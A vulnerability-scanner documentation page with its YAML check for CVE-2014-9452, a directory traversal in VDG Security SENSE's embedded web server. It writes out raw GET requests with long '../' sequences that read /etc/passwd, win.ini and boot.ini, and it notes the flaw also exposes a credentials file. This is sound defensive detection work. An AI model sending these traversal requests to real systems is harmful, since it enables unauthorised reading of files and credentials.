VDG Security SENSE — 1 vulnerability check

noctis ships 1 vulnerability check for VDG Security SENSE, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

VDG Security SENSE images/ Directory Traversal

CVECVE-2014-9452
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/vdg-security-sense/CVE-2014-9452.yaml

Tests VDG Security SENSE (formerly DIVA) 2.3.13 and earlier for the unauthenticated arbitrary file read in its embedded web server, which does not strip ".." segments from the URI under /images/. The feed sends a raw request (so the path is not normalised) for /images/ followed by 45 "../" and etc/passwd and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the read. A control request for an absent random file ending in the same name must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../..…
  2. Checks passwd_r.banner for (?m)^([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^:\r\n<…
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../..…
  5. Checks winini_r.banner for (?i)(; for 16-bit app support|\[fonts\])
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../..…
  7. Checks bootini_r.banner for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../..…
  10. Checks ctrl_r.banner for (?mi)(^[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support|\[fon…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: VDG Security SENSE images/ Directory Traversal (CVE-2014-9452)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: VDG Security SENSE images/ Directory Traversal (CVE-2014-9452)

References:

Feed source — tests/vulnerabilities/vdg-security-sense/CVE-2014-9452.yaml
# VDG Security SENSE (formerly DIVA) 2.3.13 images/ directory traversal — CVE-2014-9452
#
# The embedded "Diva HTTP Plugin" web server of VDG Security SENSE 2.3.13 resolves
# ".." segments in the default URI under /images/, so an unauthenticated request
# such as GET /images/../../../../etc/passwd returns any file the service account
# can read (CVE-2014-9452). The same advisory lists CVE-2014-9451 (stack buffer
# overflows in the AuthenticateUser web service, user/password parameters),
# hard-coded OS account passwords and a users.ini disclosure; only the traversal
# is exercised here and named in cves: — the overflow cannot be proven benignly.
#
# Detection (benign, read-only): raw HTTP/1.0 request (the client must not
# normalise the path) for /images/ + 45 x "../" + etc/passwd, then
# windows/win.ini and boot.ini when no passwd content comes back. QoD 75.
#
# Improvements over the source NASL:
#   - no dependency on the Server header (a proxied or renamed server is still
#     tested); a control request for an absent random file ending in the same
#     name must come back WITHOUT file content, so a responder serving the same
#     content for every request is not reported (fail-closed: no control reply,
#     no finding);
#   - the account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: NVD has no v3 score for CVE-2014-9452 (v2 5.0, AV:N/AC:L/Au:N/C:P).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_vdg_security_sense_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805033, GPL-2.0-only).
uid: 43cbe5dc-331c-4765-8126-51c9af396a28
name: "VDG Security SENSE images/ Directory Traversal (CVE-2014-9452)"
description: |
  Tests VDG Security SENSE (formerly DIVA) 2.3.13 and earlier for the
  unauthenticated arbitrary file read in its embedded web server, which does
  not strip ".." segments from the URI under /images/. The feed sends a raw
  request (so the path is not normalised) for /images/ followed by 45 "../"
  and etc/passwd and, when no passwd content comes back, windows/win.ini and
  then boot.ini. The content of the file in the reply confirms the read. A
  control request for an absent random file ending in the same name must not
  return any of these files, so a server that serves the same content on every
  request is not reported. Only world-readable system files are read. The
  account name (unless root), password field and gecos of the uid-0 line are
  redacted from the evidence.
cves: [CVE-2014-9452]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [vdg-security-sense, diva, path-traversal, directory-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9452"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9451"
  # OpenVAS/Greenbone NASL 2015/gb_vdg_security_sense_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {connected: false, banner: ""}

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {connected: false, banner: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {connected: false, banner: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {connected: false, banner: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd (raw request — reqwest would resolve the ../) ─────
  - id: read-passwd
    action: tcp_connect
    port: "{{port}}"
    send: "GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence. Only the name, gid and
  # home:shell of the uid-0 line are captured.
  - id: passwd-content
    action: match
    source: passwd_r.banner
    pattern: "(?m)^([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        if passwd_m.captures[0] == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini ──────────────────────────────
  - id: read-winini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.connected'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.banner
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.connected'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: tcp_connect
    port: "{{port}}"
    send: "GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.connected'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.banner
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.connected'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: absent random file ending in the file that hit ──────────────
  - id: control-file
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_file

  - id: control
    action: tcp_connect
    port: "{{port}}"
    send: "GET /images/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../{{ctrl_file}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.banner
    pattern: "(?mi)(^[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.connected && ctrl_hit == false"
    on_match:
      finding:
        title: "VDG Security SENSE images/ Directory Traversal (CVE-2014-9452)"
        description: "An unauthenticated request for /images/ followed by a long ../ sequence and etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the service account can read, such as the users.ini file that holds the SENSE credentials."
        remediation: "Update VDG Security SENSE to a release later than 2.3.13 that resolves the images/ URI safely, and do not expose the web service to untrusted networks."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET /images/ + 45 x ../ + etc/passwd returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.connected && ctrl_hit == false"
    on_match:
      finding:
        title: "VDG Security SENSE images/ Directory Traversal (CVE-2014-9452)"
        description: "An unauthenticated request for /images/ followed by a long ../ sequence and a Windows system file returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the service account can read, such as the users.ini file that holds the SENSE credentials."
        remediation: "Update VDG Security SENSE to a release later than 2.3.13 that resolves the images/ URI safely, and do not expose the web service to untrusted networks."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET /images/ + 45 x ../ + {{win_file}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub